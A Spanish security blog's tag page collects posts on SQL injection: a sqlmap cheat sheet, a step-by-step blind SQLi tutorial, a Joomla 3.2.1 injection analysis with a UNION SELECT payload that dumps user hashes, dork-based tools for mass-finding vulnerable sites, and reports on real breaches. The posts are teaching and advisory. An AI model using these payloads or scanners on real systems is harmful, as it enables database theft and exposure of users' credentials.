Mostrando entradas con la etiqueta SQL injection. Mostrar todas las entradas
Mostrando entradas con la etiqueta SQL injection. Mostrar todas las entradas

13 mayo 2014

Cheatsheet para SQLMap

¡Nos hacemos mayores! Ayer mismo cumplíamos ya los 6 añitos. Bueno, 6 años no es nada. ¡Aún nos quedan muchos para seguir dando caña!

Nos encantaría celebrarlo con vosotros e invitaros a todos a una gran fiesta con una tarta tan apetecible como la de la foto, una piñata y unos cuanto 0days de regalo. Desgraciadamente no podemos permitírnoslo y tendréis que conformaros con un chuletón sin patatas.

En este caso es para LA herramienta sqlmap, un proyecto muy maduro y realmente bueno, tanto en la detección como en la explotación de vulnerabilidades SQ y pese a que es sencilla de usar, tiene bastantes parámetros. Una guía rápida que tener a mano seguro que nos viene bien.

He colgado el PDF en github, y os dejo por aquí las dos páginas de las que se compone, para el que quiera pegarle un vistazo antes de decidir si se la descarga.

Página 1 de la cheat sheet de SqlMap

Página 2 de la cheat sheet de SqlMap

¡Feliz cumpleaños familia SBD!


Leer más...

09 mayo 2014

Blind Sqli: Cuando la inyección no muestra error





DISCLAIMER: En este post verás que se usa la web de Security By Default como ejemplo de web vulnerable a un ataque Blind SQL Injection. No es que sea realmente vulnerable, sino es una simulación para mostrar el comportamiento. Por motivos legales, he evitado utilizar una web pública, vulnerable a Blind SQL Injection.

Este tipo de vulnerabilidad, es muy poco explotada manualmente, desde que apareció Sqlmap, pero igualmente en este post os quiero enseñar cómo llevarla a cabo. OJO que este tutorial es de inyección SQL a ciegas básico, hay otras técnicas mas avanzadas.

Primero debemos buscar nuestra url vulnerable… ¿Cómo hacemos esto?

RECONOCIMIENTO.


entramos a la web y vemos algo asi :

Imágenes integradas 1

Ok perfecto ahora a detectar…

Suele ser:

La primera sentencia es verdadera debido a que 1=1, y la segunda sentencia 1=0 es falsa. Probaremos la primera sentencia y nos sale lo siguiente:

 Imágenes integradas 2

Y ahora probaremos el falso:

Imágenes integradas 3 

Esto quiere decir que hemos encontrado una web vulnerable a Blind Sql Injection. En resumen, este tipo de explotación lo único que ves es si el resultado es correcto o es falso.

Hago un select a la tabla sbd. Si me da cara de verdadero es que existe la tabla, si me da cara de falso el resultado es falso. Igual pasa al sacar el contenido. S es esto entonces es verdadero, si no, es falso. Lo primero que vamos a buscar en las Blind SQL Injection es nombres de tablas ¿cómo? predicting. Después les enseñaré a hacer matching para sacar de otras formas…

Las inyecciones para sacar nombre de tablas se hacen de la siguiente forma:

 http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM tabla)#

¿Qué es esto? Bueno, lo que estamos haciendo es hacerle un select count pero ¿por qué no solo un select? ¿porque de qué nos sirve una tabla que no tenga registros? Busquemos tablas con nombres populares

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM usuarios)

Imágenes integradas 4

Nada.. probemos otras

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM nombres) 

Imágenes integradas 6

Nada.. seguimos insisitiendo. Recuerden que es SQL Injection a mano.

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM users) 

Imágenes integradas 7

Eureka! Ya tenemos una tabla, que se llama users. Ahora vamos a comenzar a ver qué hay dentro de esta tabla… probando columnas. 

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(name)) FROM users)# 

 Imágenes integradas 8

Nada.. intentemos con otra columna.

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(name_user)) FROM users)#

 Imágenes integradas 9

Así hasta que demos con la correcta.  
Probando http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(name_usr)) FROM users)# 

Imágenes integradas 10 

...ya tenemos el nombre de nuestra tabla de nombres si seguimos buscando así, llegaríamos a la de passwords y otros datos…

Ahora lo que debemos hacer, como estamos viendo que es el ejemplo de un blog, es buscar si hay un link para el perfil o los posts del administrador… Al parecer lo hay en http://securitybydefault.com/blind/users/user.php?id=1 su nombre Xander

Por deducción saqué que el campo de id sería id_usr…
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH(name_usr) FROM users where id_usr=1)#

Al ver el id de xander es el 1, por lógica el id_usr 1 debe ser el de xander veamos cuantos caracteres tiene su nombre… pero por lógica xander = 6 asi que con el 6 me debe salir true…

Imágenes integradas 11

Bien ya tenemos y hemos confirmado que su usuario para loguearse es xander… ahora la pregunta del millón ¿y para sacar el password? primero veamos si está hasheada en md5. En el caso de MD5 de 128 bits se representa típicamente como una cadena de 32 caracteres.

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH (pass_usr) FROM users where id_usr=1) = 32# 

 Imágenes integradas 12

Por lo que vemos, no esta en MD5. Vamos a probar si es mas pequeña que 10 caracteres el password…

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH (pass_usr) FROM users where id_usr=1) < 10#

Imágenes integradas 13 

El admin xander tiene un contraseña corta será menor que 5?

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH(pass_usr) FROM users where id_usr=1) < 5 # 

 Imágenes integradas 14

es mayor o igual que 5, probaremos con 5?

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGHT(pass_usr) FROM users where id_usr=1) = 5 # 

Imágenes integradas 15

5 caracteres de password ahora como sacar la password? podriamos preguntarle si la password es 12345 pero sería como estar haciendo brute force. Vamos a sacar caracter por caracter con la funcion substring de mysql y ascii…

Vamos a necesitar una tabla ASCII. La lógica es: ascii(substring((consulta),caracter,hastadondellegar))
El código ASCII del carácter 0 es igual a 48. Verifiquemos si el primer caracter es 0

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),1,1))=48# 

 Imágenes integradas 16

Como el resultado es falso, probaríamos sucesivamente con el valor 49 
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),1,1))=49# 

Imágenes integradas 17 

 y como vemos, es verdadero. Ya tenemos el primer caracter, seguimos con la segunda posición… veamos si es 2 ascii de 2: 50


http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),2,1))=50# 


El segundo carácter 2 ... a ver creo que ya entendieron que el punto es que su contraseña es 12345. ¿Cómo sacamos el 5 en el último carácter?

Imágenes integradas 18

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),5,1))=53#

Tenemos una buena idea de cual puede ser su contraseña, busquemos el panel, aunque creo que este debió ser el primer paso... si no, te has pegado un rato inyectando para nada. Suponiendo que el panel de control es: http://www.securitybydefault.com/blind/p4n3l, nos podríamos loggear con user: xander pass: 12345

Igual pudimos haber seguido hasta sacar todos los caracteres del password pero era bastante predecible :)


Artículo por cortesía de @Seguridadblanca
Leer más...

13 marzo 2014

Análisis de inyección SQL crítica en Joomla < 3.2.2

En febrero saltó a la palestra una grave vulnerabilidad de inyección SQL que afectaba al gestor de contenidos Joomla!, reportada por killall-9. En esta ocasión, y a diferencia de lo que suele siempre ocurrir, la vulnerabilidad residía en el núcleo de la aplicación y no en módulos o plugins. Por lo que cualquier instalación de Joomla anterior a 3.2.2 es vulnerable por defecto.

Pues bien, ya tenemos más información acerca de la explotación y la causa de la vulnerabilidad, que por tratarse de una inyección SQL, ya se asumía que se trataba de un problema de validación de parámetros.

Preparamos nuestro entorno para disponer de un conjunto LAMP (Linux, Apache, MySQL, PHP) en el que instalaremos la versión 3.2.1 de Joomla afectada por esta vulnerabilidad. Realizamos una instalación por defecto llamando al portal "Joomla Test", cargándola con datos de prueba.

Página de inicio de la instalación de Joomla 3.2.1

Tal y como se ha reportado en diversas fuentes, la vulnerabilidad reside en el parámetro id de la siguiente URL sobre weblinks-categories:

http://URL/joomla/index.php/weblinks-categories?id=

En primer lugar, procedemos a introducir, en vez de un valor esperado (un entero a modo de índice), un carácter X, para provocar la excepción en la aplicación:

http://URL/joomla/index.php/weblinks-categories?id=X

Excepción en consulta del identificador dentro de weblinks-categories

El error muestra la siguiente información en la parte inferior:
0 SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN `ls41c_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( X)      
En dicho error, nos quedamos con el prefijo establecido durante la instalación de Joomla para la nomenclatura de las tablas en base de datos, tras la sintaxis de INNER JOIN. En este caso, el prefijo corresponde con ls41c para la tabla contentitem_tag_map
...INNER JOIN `ls41c_contentitem_tag_map` ...
Este prefijo lo utilizaremos durante la explotación de la vulnerabilidad para conocer exactamente como se denomina a la tabla de usuarios dentro de la base de datos del sistema afectado. Por lo que, para consultar información de la tabla de usuarios de Joomla, tendremos que realizar sentencias sobre la tabla ls41c_users. La explotación es simple: incluiremos el UNION SELECT tras el identificador vulnerable, seleccionando el valor de username y posteriormente del password obteniendo su hash (más información sobre esta tabla en la documentación en Joomla), concatenando el carácter '#' entre ellos para su mejor distinción por pantalla:

http://192.168.70.134/joomla/index.php/weblinks-categories
?id=0) union select concat(CHAR(35),username,CHAR(35),password,CHAR(35)) from `ls41c_users`-- )

Mostrando información de la tabla de usuarios de Joomla de base de datos tras inyección SQL
La función que construye la sentencia utilizada se encuentra en el fichero helper.php en la siguiente ruta:

/joomla/modules/mod_tags_similar/helper.php

Cuya función getList de la clase ModTagssimilarHelper no valida correctamente el valor del identificador id, llevándose directamente a la construcción de la sentencia SQL:

Obtención del valor del parámetro id
El valor del parámetro se establece en $tagsToMatch
$tagsToMatch se introduce directamente en la query de base de datos que posteriormente se ejecutará

Se recomienda actualizar Joomla a su última versión disponible, que actualmente corresponde con la 3.2.3.

Y ya deberías saber que, para evitar que tras el robo de esta información sensible (como usuarios y contraseñas) pueda ser posteriormente utilizada, puedes proteger tu instalación de Joomla mediante Latch de ElevenPaths, añadiendo el plugin rápidamente siguiendo esta guía detallada para su integración con este CMS. Gracias a esta funcionalidad, además los usuarios podrán ser notificados en caso de que dichas cuentas obtenidas sean utilizadas por terceros.

[+] OSVDB 103126 : Joomla /modules/mod_tags_similar/helper.php ModTagssimilarHelper::getList() Method Parameter SQL Injection

Leer más...

29 noviembre 2013

¿Quién descubrió las inyecciones de código SQL?

Hoy vamos a hablar de las inyecciones de código SQL (SQL Injections), una de las típicas vulnerabilidades que nos podemos encontrar en cualquier auditoría web. Ha llegado un punto que ya no nos sorprenden toparnos con ella en todo tipo de aplicaciones, sean críticas o no, y lo que está claro es que no sólo permite la obtención de información de la base de datos, si no la ejecución de comandos en el sistema operativo y el total compromiso del sistema afectado.

Lo más curioso de todo es que ¡lleva entre nosotros más de 15 años! Es de las vulnerabilidades más conocidas y siempre protagonista del Top 10 de amenazas OWASP, en cuya última edición las inyecciones de código se encuentran en primer lugar.

A continuación, vamos a remontarnos a sus orígenes para demostrar que no es una técnica avanzada, compleja, de difícil solución o novedosa. No veáis lo siguiente como un ejemplo básico...se sigue encontrando hoy en día. Quizás se descubriese antes, pero por lo menos, hablaremos de la primera vez que se publicó esta información en Internet.

¿Quién mencionó por primera vez una inyección de código SQL?

El protagonista de hoy es Rain Forest Puppy, cuyo nombre real corresponde con Jeff Forristal (@j4istal)

Jeff Forristal durante su última charla sobre Android en Black Hat USA 2013
Jeff es un investigador de seguridad que lleva más de una década dedicado al mundo de la seguridad en diferentes vertientes, y que actualmente se encuentra trabajando en Bluebox Security con el fin de investigar vulnerabilidades en dispositivos móviles. Entre sus aportaciones destaca, entre otras, la herramienta Whisker, de las primeras aplicaciones para análisis de vulnerabilidades web. En su sección de Packetstorm (lleva dado de alta desde 1999) veréis scripts y herramientas que ha compartido para la detección y explotación de vulnerabilidades sobre multitud de sistemas.

Durante una auditoría a un sistema NT, se encontró un servicio web que interactuaba con una base de datos MS SQL Server 6.5, y revisando la posibilidad del motoro SQL, se percató de que era posible ejecutar sentencias encadenadas (batch). Debido a que se encontró una página web que permitía introducir valores en parámetros para la realización de búsquedas, pensó en encadenar sentencias SQL para provocar la ejecución de consultas una vez la aplicación concatenase dicha consulta con la original en el código fuente. Además, como no podía ver el código fuente de la sentencia en sí, pensó en incluir caracteres guión para evitar la ejecución del código posterior a lo que él introdujese. ¿Os suena? Inyección SQL en toda regla y que evidenció con todo lujo de detalles y paso por paso, en el número 54 de la revista online PHRACK, publicada el 25 de Diciembre de 1998.

Dentro de su contribución como Rain Forest Puppy (pseudónimo que utilizó sin revelar su verdadera identidad durante muchísimos años....) con todo el proceso de intrusión sobre sistemas NT, se encuentra un apartado denominado "ODBC and MS SQL server 6.5" en el que comienza el proceso mencionado previamente:

Sección en el artículo de Rain Forest Puppy de Phrack 54
Curiosamente, uno de sus compañeros contactó con Microsoft para informar acerca de este nuevo abanico de posibilidades que ofrecía la aplicación vulnerable y la base de datos MS SQL Server. Microsoft no lo consideró un problema, y lo dejó estar.

Como colofón a su artículo, en el que escribe recomendaciones tras las vulnerabilidades descubiertas, una de ellas es la siguiente:

- Don't assume user's input is ok for SQL queries.

Que traducido quiere decir:

- No asumas que los valores introducidos por el usuario son siempre adecuados en sentencias SQL.

Recomendación que aún a día de hoy, no se tiene en cuenta ni por la cual se toman medidas, propiciando además de ataques por inyección de código SQL, los también famosos Cross-Site Scriptings y otras muchas vulnerabilidades causadas por una incorrecta validación de parámetros.

Os recomiendo leer el artículo completo de Rain Forest Puppy "NT Web Technology Vulnerabilities" pero sobretodo, tened en cuenta que se escribió hace casi 15 años....y lo poco que han cambiado las cosas.

[+] How Was SQL Injection Discovered? (eSecurityPlanet.com)
Leer más...

02 abril 2013

Web for Pentester: Practica las vulnerabilidades web más comunes

De entre los muchos ejercicios que nos podemos encontrar en el interesante proyecto de PentesterLab (del que os hablamos en los enlaces de la SECmana 141) creado por Louis Nyffenegger (@snyff), se acaba de publicar un conjunto de ejercicios llamado "Web for Pentester".

Estos ejercicios repasan las vulnerabilidades más comunes que nos podremos encontrar a la hora de analizar y realizar pruebas sobre aplicaciones web. El enfoque de estas prácticas no es sólo el de realizar las pruebas web como tal, si no todo lo relacionado a procesos de test de intrusión, como el reconocimiento de la arquitectura, sistema, servicios, etc.

Se proponen varios ejemplos para cada una de las siguientes tipos de vulnerabilidades:


  • Pruebas básicas de reconocimiento (fingerprinting)
  • Cross-Site Scripting
  • Inclusión de ficheros
  • Ataques LDAP
  • Inyecciones SQL
  • Inyección de código
  • Subida de ficheros
  • Pruebas de ruta transversal
  • Inyección de comandos
  • Ataques XML

Esta vez no se trata de ejercicios online, si no que el creador del proyecto ha preparado una pequeña imagen .iso, en la cual, bajo el sistema operativo Debian, se ha creado un entorno en el que se incluyen  diferentes scripts vulnerables:

Descarga de imagen .iso con entorno vulnerable

Con la imagen, en la sección de descargas de estos ejercicios se encuentra un documento en .PDF web_for_pentester.pdf en el que se explican todas y cada una de las pruebas con sus correspondientes ejemplos, aunque obviamente, recomendamos consultar este documento después de, por lo menos, haberle dedicado un buen rato a resolverlos por cuenta propia.

Índice del documento PDF que acompaña al ejercicio


Dicho informe recoge el análisis realizado desde las fases iniciales del test de intrusión (reconocimiento del servicio web, búsqueda de recursos interesantes, puntos de entrada a la aplicación, análisis de respuestas del servidor web, etc), así como conceptos básicos y requeridos para completar las pruebas posteriores.



Documentación de Web For Pentesters, incluyendo ejemplos y how-to's

Ejemplo 1 de Cross-Site Scripting

Ejemplo 1 de File Inclusion

Si bien el nivel de dificultad se ha determinado como para principiantes, es un buen repaso, además de completo, para cualquier interesado en este campo de la seguridad informática sobre aplicaciones web.

[+] Proyecto Web For Pentester - Pentesterlab.com
Leer más...

18 febrero 2013

Anonymous presente en los Goya 2013 y candidato a mejor Inyección SQL

Un año más, Anonymous se hace un hueco en los Goya. Esta vez no han sido protagonistas por organizar una manifestación cerca de la alfombra roja, o por saltar al escenario al más puro estilo Jimmy Jump. 

Directamente y como es habitual, bajo acciones de lo que han llamado #OpGoya, han explotado supuestamente una inyección SQL en el portal encargado de presentar las candidaturas de la vigésimo-séptima edición de los Premios Goya de la Academia de las Artes y las Ciencias: premiosgoya.academiadecine.com


En este portal, se pueden consultar noticias sobre los premios, candidaturas, finalistas, información sobre la gala, etc.


Pues bien, a eso de las 9 de la noche, desde la cuenta de twitter @Lulz_Es se anunciaba el volcado de una base de datos "peliculas" perteneciente al dominio de la academia, con un total de 78 tablas en su interior, con nombres tan descriptivos como ACADEMICOS, DISTRIBUIDORAS, USUARIOS, VOTACIONES...




Esta vez, los lulzers se decantaron por el servicio de intercambio de información anonpaste.me, en vez de pastebin como suele ser habitual. Como decíamos, se volcaron algunas de las tablas más características de la base de datos, con información de distribuidoras, actores, productoras, profesionales del medio...incluyendo correos electrónicos, números de teléfono,...


Puede que las prisas en lanzar este sitio informativo para la gala ocasionaron un descuido al no validar correctamente los parámetros de los ficheros php que utiliza la página. Lo que está claro es que si bien la información dentro de premiosgoya.academiadecine.com podría resultar de poca importancia, el compartir la base de datos con otros servicios hace que el impacto de la vulnerabilidad sea mayor. La página de academiadecine.com podría ser la más segura del mundo, pero por culpa de este portal y por no crear otra base de datos únicamente para la información de los premios, y limitar los permisos del usuario a dicha base de datos, se ha conseguido acceder a información sensible de usuarios que seguro que no quieren ver sus WhatsApp o buzones de correo ardiendo en llamas. 

Una simple búsqueda en Google con el sitio, seguido del motor de base de datos utilizado por la página, muestra una pista de la grave vulnerabilidad aprovechada para la obtención de esta información.

Leer más...

11 septiembre 2012

SQLI a tutiplén !

Según OWASP, las vulnerabilidades de tipo SQL Injection están en el primer lugar de su particular TOP de problemas en aplicaciones web y, ciertamente, son un tipo de vulnerabilidad con unas implicaciones peliagudas.

En aras de 'concienciar', desde hace algún tiempo hay disponibles aplicaciones realmente asombrosas que permiten localizar servidores web en internet que padezcan de vulnerabilidades de tipo SQLI.

Su funcionamiento es muy sencillo, por un lado emplean 'Google Dorks' para localizar aplicaciones cuyas URLs tengan patrones sospechosos (la típica aplicación con un blabla.php?id=) y de entre todas los sites localizados, identifica cuales son efectivamente vulnerables.

SQLI HUNTER v1.1

Esta herramienta, escrita en VB 2.0, tiene un juego de 'Dorks' bastante amplio y permite localizar fácilmente aplicaciones en internet susceptibles de ser vulnerables a SQLI.

El autor ha publicado un vídeo bastante completo sobre como usar la herramienta


Dork Searcher

La mecánica de 'Dork Searcher' es parecida a 'SQLI HUNTER', también emplea Google Dorks para localizar aplicaciones que sean vulnerables, pero además, para funcionar requiere que tengas configurado TOR para poder realizar la búsqueda de forma anónima.

Está escrita en .NET y luce así



Sin duda dos herramientas muy útiles para 'concienciar' y 'concienciarse' sobre la enorme cantidad de servidores vulnerables que hay conectados a Internet


Leer más...

30 junio 2012

Interfaz gráfica para SQLMap

SQLMap es una de las herramientas más completa y funcional para realizar ataques de tipo 'SQL Injection' que hay disponibles actualmente.

Además es una herramienta OpenSource que se actualiza con muchísima frecuencia y evoluciona a un ritmo de vértigo. 

El único y muy pequeño 'pero' que se le podía poner era la falta de una interfaz gráfica para la gente que prefiere no usar complejos comandos.

Parece que ya eso ha dejado de ser un handicap, dado que se ha publicado, por fin, una interfaz gráfica con una pinta estupenda.

El proyecto, llamado gui-for-sqlmap provee de la parte gráfica a SQLMap. 









Disponible tanto para Windows como para Linux

Leer más...

18 agosto 2011

Concursos online, un peligro para nuestros datos

Ultimamente no paran de aparecer concursos online de distintas marcas que nos invitan a participar eligiendo nuevos productos, participar en su promoción o desarrollando sobre sus plataformas.

En general, sobretodo si se trata de grandes empresas en las que podemos tener depositada cierta confianza, no dudamos en participar, pues no hay mucho que hacer y el premio suele ser bastante interesante. Ahora bien, ¿en realidad nos merece la pena la posibilidad de ganar el premio frente a brindarle a estas compañías una gran cantidad de datos personales?

Dejando de lado los términos y condiciones que podamos aceptar cuando vamos a participar en un determinado concurso, me voy a centrar en la seguridad de esos sistemas y la facilidad que pueden tener los delincuentes de acceder a toda la información que contienen.

Disclaimer:
No me hago responsable del uso que pueda darse de la información que se publica a continuación.
Los ejemplos que se van a dar corresponden a concursos ya finalizados por lo que no supone un riesgo para los datos de los concursantes recogidos en los mismos.

Antes de empezar, basta decir que podríamos suponer que al encontrarnos ante empresas de cierto tamaño y visibilidad los concursos gozarían de las medidas de seguridad necesarias para evitar el acceso a los datos o la manipulación de los mismos pero, viendo lo que ocurrió con Sony y todos los fallos 'de libro' que se descubrieron en muchos de sus servicios web, no podemos fiarnos de nadie.

El concurso que voy a poner como ejemplo es el llevado a cabo por HP como promoción de sus impresoras e-print, Generación E-Print. En este concurso se pide a los usuarios que realizen una foto y la envíen a un email de contacto quedando registrada en el sistema y pudiendo ser votada con el objetivo de ganar una de las impresoras (o aparecer en el mural final).

La vulnerabilidad se encontraba en el sistema de voto, siendo ésta un Blind-SQLi. Además, la explotación del mismo era extremadamente sencilla pues era un boolean 'de libro'.

La url afectada era la siguiente:
http://generacioneprint.es/votar.php?id=BSQLi&valor=X

Por lo tanto, era trivial para una persona de moral relajada acceder a la base de datos del concurso y obtener los datos personales de todos los concursantes.

Ahora bien, ¿era posible modificar el resultado del concurso?
Sorprendentemente se podía alterar el resultado de forma trivial, pues no validaban el contenido de la variable 'valor' (correspondiente a la puntuación/estrellas que se le daba a la fotografía) permitiéndonos inyectar el valor que nos interesara (desde aumentar en miles los votos de una fotografía como el reducir el de otras introduciendo un número negativo). Como podemos ver, no había que recurrir a ningún método complejo para ser nosotros los ganadores del concurso.

Cabe destacar que la página del concurso no dispone de ningún email o formulario de contacto, dificultando la notificación de estas vulnerabilidades. Intenté ponerme en contacto a través de Twitter (el que ponían en la página del concurso) pero no hubo respuesta:


A pesar de que haya hablado únicamente de las vulnerabilidades descubiertas en el concurso de HP (por ser el único que no sigue activo), cabe destacar que actualmente todos los concursos con los que me he encontrado (y no son pocos) eran vulnerables a distintos ataques, pudiendo obtener finalmente todos los datos de los concursantes.

Ya para terminar, muchos de los servicios web de estos concursos son realizados por terceros, lo cual sorprende que tengan vulnerabilidades tan 'de libro' (sobre todo teniendo en cuenta lo que habrán cobrado por el desarrollo). Un caso similar al de HP ha ocurrido con Microsoft, aunque en este caso he podido contactar con ellos y lo están solucionando (los demás pertenecían a empresas de otros sectores, como p.e Danone).

----------------------------

Contribución gracias a Luis Delgado

Leer más...